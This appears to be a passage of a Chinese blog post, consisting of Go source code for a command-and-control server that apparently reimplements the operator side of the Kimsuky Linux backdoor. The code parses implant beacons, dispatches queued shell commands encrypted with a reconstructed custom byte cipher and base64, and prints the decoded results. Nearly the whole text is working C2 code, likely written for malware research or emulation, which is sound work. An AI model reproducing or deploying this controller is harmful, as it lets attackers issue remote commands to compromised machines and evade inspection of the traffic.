func init_tasks_Kimsuky_LinuxBackDoor() {
    os.Remove("./conf/tmp1.txt")
    common.WriteFile("./conf/tmp1.txt", "0")
}
  • web.go
package web

import (
    "awesomeProject5/common"
    "encoding/hex"
    "fmt"
    "github.com/gin-gonic/gin"
    "io/ioutil"
    "net/url"
    "os"
    "strconv"
    "strings"
)

func HandleRoot(c *gin.Context) {
    c.String(200, "Hello, World!")
}

func Handle_POST(c *gin.Context) {
    body, _ := ioutil.ReadAll(c.Request.Body)

    //fmt.Println(string(body))
    if strings.Contains(string(body), "=2&b") {
        UID := strings.Split(string(body), "&c")[0][24:]
        data := strings.Split(string(body), "&c")[1][10:]
        if data == "" {
            str, _ := common.ReadFile("./conf/tmp1.txt")
            num, _ := strconv.Atoi(str)
            strs := common.FileToSlice("./conf/tasks1.txt")
            if num < len(strs) {
                os.Remove("./conf/tmp1.txt")
                common.WriteFile("./conf/tmp1.txt", strconv.Itoa(num+1))

                buf := strs[num]
                buf1 := strings.Split(buf, "@")[0]
                buf2 := strings.Split(buf, "@")[1]
                sendbuf, _ := hex.DecodeString(buf1)
                sendbuf = append(sendbuf, []byte(buf2)...)
                buf_base64 := common.Encode(sendbuf)
                fmt.Println("Send:", buf)
                c.String(200, "S"+buf_base64)
            } else if num == len(strs) {
                os.Exit(1)
            }
            //buf, _ := hex.DecodeString("3133")
            //buf, _ := hex.DecodeString("3039")
            //buf, _ := hex.DecodeString("3032")
            //buf = append(buf, []byte("ifconfig")...)
            //buf_base64 := Encode(buf)
            //fmt.Println(buf_base64)
            //c.String(200, "S"+buf_base64)
        } else {
            fmt.Println(UID, "test:abc")
        }
    } else if strings.Contains(string(body), "=1&y") {
        UID := strings.Split(string(body), "&z")[0][24:]
        data := strings.Split(string(body), "&z")[1][10:]
        if data == "" {
            fmt.Println("test:xyz")
        } else {
            decodedURL, _ := url.QueryUnescape(data)
            decbuf := common.Decode(decodedURL)
            //fmt.Println(hex.EncodeToString(decbuf))
            fmt.Println("Recv:", UID, string(decbuf))
            if string(decbuf) == "[+] Bye!" {
                os.Exit(1)
            }
        }
    }
}
  • common.go
package common

import (
    "bufio"
    "encoding/base64"
    "encoding/hex"
    "fmt"
    "io"
    "io/ioutil"
    "os"
)

func Encode(data []byte) (buf_base64 string) {
    encbuf := BytesEncrypt(data)
    buf_base64 = Base64_Encode(encbuf)
    return
}

func Decode(buf_base64 string) (decbuf []byte) {
    encbuf := []byte{}
    encbuf = Base64_Decode(buf_base64)
    if encbuf == nil {
        encbuf = Base64_Decode_RawURLEncoding(buf_base64)
        if encbuf == nil {
            fmt.Println("Decode Error")
            os.Exit(1)
        }
    }
    decbuf = BytesDecrypt(encbuf)
    return
}

func BytesEncrypt(data []byte) (encbuf []byte) {
    //encbuf := []byte{}

    //randomBytes := make([]byte, 4)
    //rand.Read(randomBytes)
    //随机填充的密钥会有问题,暂时先不解决
    randomBytes, _ := hex.DecodeString("01010101")
    encbuf = append(encbuf, randomBytes...)

    for i, j := range data {
        res := bytesEncrypt(int(j), int(randomBytes[i%4]))
        encbuf = append(encbuf, byte(res))
    }
    //fmt.Println(hex.EncodeToString(encbuf))
    return
}

func bytesEncrypt(v14, v15 int) int {
    aa := ((v14 + v15 - 1) >> 0x1f)
    bb := -((0x80808081 * (v14 + v15 - 1)) >> 0x20)
    cc := (v14 + v15 + bb - 1) >> 7
    dd := cc - aa
    v17 := v14 + v15 - dd<<8
    return v17
}

func BytesDecrypt(data []byte) (decbuf []byte) {
    key := []byte{}
    encbuf := []byte{}
    key = append(key, data[:4]...)
    encbuf = append(encbuf, data[4:]...)
    for i, j := range encbuf {
        v17 := bytesDecrypt(int(j), int(key[i%4]))
        decbuf = append(decbuf, byte(v17))
    }
    return
}

// 010101010506070809 解密后为 0405060708
func bytesDecrypt(v14, v15 int) int {
    aa := ((v14 - v15 + 254) >> 31)
    bb := aa + (0x80808081 * (v14 - v15 + 254) >> 32)
    v16 := (((bb >> 7) - (aa >> 0x1f)) << 8)
    v17 := v14 - v15 - (v16 - 1) + 0xff
    return v17
}

func ReadFile(filename string) (string, error) {
    f, err := os.Open(filename)
    if err != nil {
        return "", err
    }
    defer f.Close()

    b, err := ioutil.ReadAll(f)
    if err != nil {
        return "", err
    }

    return string(b), nil
}

func FileToSlice(file string) []string {
    fil, _ := os.Open(file)
    defer fil.Close()
    var lines []string
    scanner := bufio.NewScanner(fil)
    for scanner.Scan() {
        lines = append(lines, scanner.Text())
    }
    return lines
}

func WriteFile(filename, data string) error {
    file, err := os.Create(filename)
    if err != nil {
        return err
    }
    defer file.Close()

    _, err = io.WriteString(file, data)
    if err != nil {
        return err
    }

    return nil
}

func Base64_Encode(message []byte) string {
    return base64.StdEncoding.EncodeToString(message)
}

func Base64_Encode_RawURLEncoding(message []byte) string {
    return base64.RawURLEncoding.EncodeToString(message)
}

func Base64_Decode_RawURLEncoding(encodedMessage string) []byte {
    decodedMessage, err := base64.RawURLEncoding.DecodeString(encodedMessage)
    if err != nil {
        //fmt.Println("Base64_Decode Error:", err)
        return nil
    }
    return decodedMessage
}

func Base64_Decode(encodedMessage string) []byte {
    decodedMessage, err := base64.StdEncoding.DecodeString(encodedMessage)
    if err != nil {
        //fmt.Println("Base64_Decode Error:", err)
        return nil
    }
    return decodedMessage
}
0 条评论
某人
表情
可输入 255